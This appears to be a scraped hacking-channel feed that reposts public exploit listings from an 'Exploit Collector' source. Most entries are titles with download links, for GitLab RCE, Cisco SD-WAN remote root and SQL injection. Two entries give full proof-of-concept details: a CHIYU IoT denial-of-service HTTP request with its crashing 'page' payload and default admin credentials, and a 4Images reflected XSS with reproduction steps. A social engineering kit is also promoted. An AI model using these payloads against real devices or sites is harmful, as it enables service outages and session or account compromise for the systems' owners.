Hacking Articles Tips Tricks Videos Tutorials

Exploit Collector
Gitlab 13.9.3 Remote Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

4 viewsedited 18:17

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Cisco SD-WAN vManage 19.2.2 Remote Root

https://1.bp.blogspot.com/-f08tQl4ET7w/WWlvRxSI6FI/AAAAAAAAINU/PQjq5zhIC6AFgb3OPDnJIpwa9KgUsaunwCLcBGAs/s1600/h37.png
Cisco SD-WAN vManage version 19.2.2 remote root shell proof of concept exploit that leverages multiple vulnerabilities.

MD5 | a4bd588c350b9a327fc445d03fadab85

Download


Cisco SD-WAN vManage 19.2.2 Remote Root Shell PoC

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Cisco SD-WAN vManage 19.2.2 Remote Root

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

5 viewsedited 18:17

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
CHIYU IoT Denial Of Service

https://4.bp.blogspot.com/-SxgEc7szt9w/WWlva1nZfUI/AAAAAAAAIPE/UrvwYC_4YmMlGypxS9ASHy318XWSifzEQCLcBGAs/s1600/h71.png
CHIYU IoT devices suffer from an integer overflow denial of service vulnerability. Affected devices include BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC with firmware versions prior to June 2021.

MD5 | 2710ae05b0dfa9c84b0ae83ebc6ff34e

Download

# Exploit Title: CHIYU IoT Devices - Denial of Service (DoS)
# Date: 01/06/2021
# Exploit Author: sirpedrotavares
# Vendor Homepage: https://www.chiyu-tech.com/msg/msg88.html
# Software Link: https://www.chiyu-tech.com/category-hardware.html
# Version: BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC   - all firmware versions < June 2021
# Tested on: BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC
# CVE: CVE-2021-31642
# Publication: https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks

Description: A denial of service condition exists after an integer overflow in several IoT devices from CHIYU Technology, including BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC. The vulnerability can be explored by sending an unexpected integer (> 32 bits) on the page parameter that will crash the web portal and making it unavailable until a reboot of the device.
CVE ID: CVE-2021-31642
CVSS: Medium- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
URL: https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31642

Affected parameter: page=Component: if.cgi
Payload:
if.cgi?redirect=AccLog.htm&failure=fail.htm&type=go_log_page&page=2781000

====HTTP request======
GET
/if.cgi?redirect=AccLog.htm&failure=fail.htm&type=go_log_page&page=2781000
HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0)
Gecko/20100101 Firefox/87.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: pt-PT,pt;q=0.8,en;q=0.5,en-US;q=0.3
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Referer: http://127.0.0.1/AccLog.htm
Cookie: fresh=
Upgrade-Insecure-Requests: 1
Steps to reproduce:
1. Navigate to the vulnerable device
2. Make a GET request to the CGI component (if.cgi)
3. Append the payload at the end of the vulnerable parameter (page)
4. Submit the request and observe payload execution
Mitigation: The latest version of the CHIYU firmware should be installed
to mitigate this vulnerability.

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

CHIYU IoT Denial Of Service

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

5 viewsedited 18:17

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
4Images 1.8 Cross Site Scripting

https://4.bp.blogspot.com/-xJ4j9VfFswY/WWlvOf_vUlI/AAAAAAAAIMo/D1-kp_Mj10E1aNmsGMS5n6nKC28DofOXwCLcBGAs/s1600/h25.png
4Images version 1.8 suffers from a cross site scripting vulnerability.

MD5 | 4674a7f7a4902040e42fa9c804d23d17

Download

# Exploit Title: 4Images 1.8 - 'redirect' Reflected XSS
# Exploit Author: Piyush Patil
# Vendor Homepage: https://www.4homepages.de/
# Software Link: https://www.4homepages.de/?download=4images1.8.zip&code=81da0c7b5208e172ea83d879634f51d6
# Version: 4Images Gallery 1.8
# Tested on: Windows 10 and Kali
# CVE : CVE-2021-27308

-Description:
A cross-site scripting (XSS) vulnerability in the admin login panel in 4images version 1.8 allows remote attackers to inject JavaScript via the "redirect" parameter.
-Steps to reproduce:
1- Goto 4images admin panel page (demo instance: https://localhost/4images/admin/index.php)
2- Enter the credentials , Turn on the intercept and click on "Login"
3- copy paste the XSS payload after redirect=./../admin/index.php%3Fsessionid=xxxxxPASTEPAYLOADHERE
4-Forward the request and you can see XSS is triggered.

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

4Images 1.8 Cross Site Scripting

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

4 viewsedited 18:17

Hacking Articles Tips Tricks Videos Tutorials

Exploit Collector
Local Service Search Engine Management System 1.0 SQL Injection

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Local Service Search Engine Management System 1.0 SQL Injection

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

5 viewsedited 18:17

Hacking Articles Tips Tricks Videos Tutorials

5 views18:17

Hacking Articles Tips Tricks Videos Tutorials

6 views18:17

Hacking Articles Tips Tricks Videos Tutorials

Hacking Articles Tips Tricks Videos Tutorials pinned «hacking: security in practice SE DOPPP KIT - a social engineering kit with 5 modules and lots of tools https://external-preview.redd.it/9gy645wxmfzP4kG-qB0kekBZv8UiMuYJMtoajgCXN7I.jpg?width=640&crop=smart&auto=webp&s=b4515f0c5fc950747aa1749485f40f53bbd46472…»

18:22

Hacking Articles Tips Tricks Videos Tutorials

6 views18:23

Hacking Articles Tips Tricks Videos Tutorials

Photo

Dark Reading: Attacks/Breaches
The True Cost of a Ransomware Attack

Companies need to prepare for the costs of an attack now, before they get attacked. Here's a checklist to help.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading

The True Cost of a Ransomware Attack

Companies need to prepare for the costs of an attack now, before they get attacked. Here's a checklist to help.

6 viewsedited 18:23

Hacking Articles Tips Tricks Videos Tutorials

7 views18:30

Hacking Articles Tips Tricks Videos Tutorials

6 views18:30

Hacking Articles Tips Tricks Videos Tutorials

6 views18:30

Hacking Articles Tips Tricks Videos Tutorials

Photo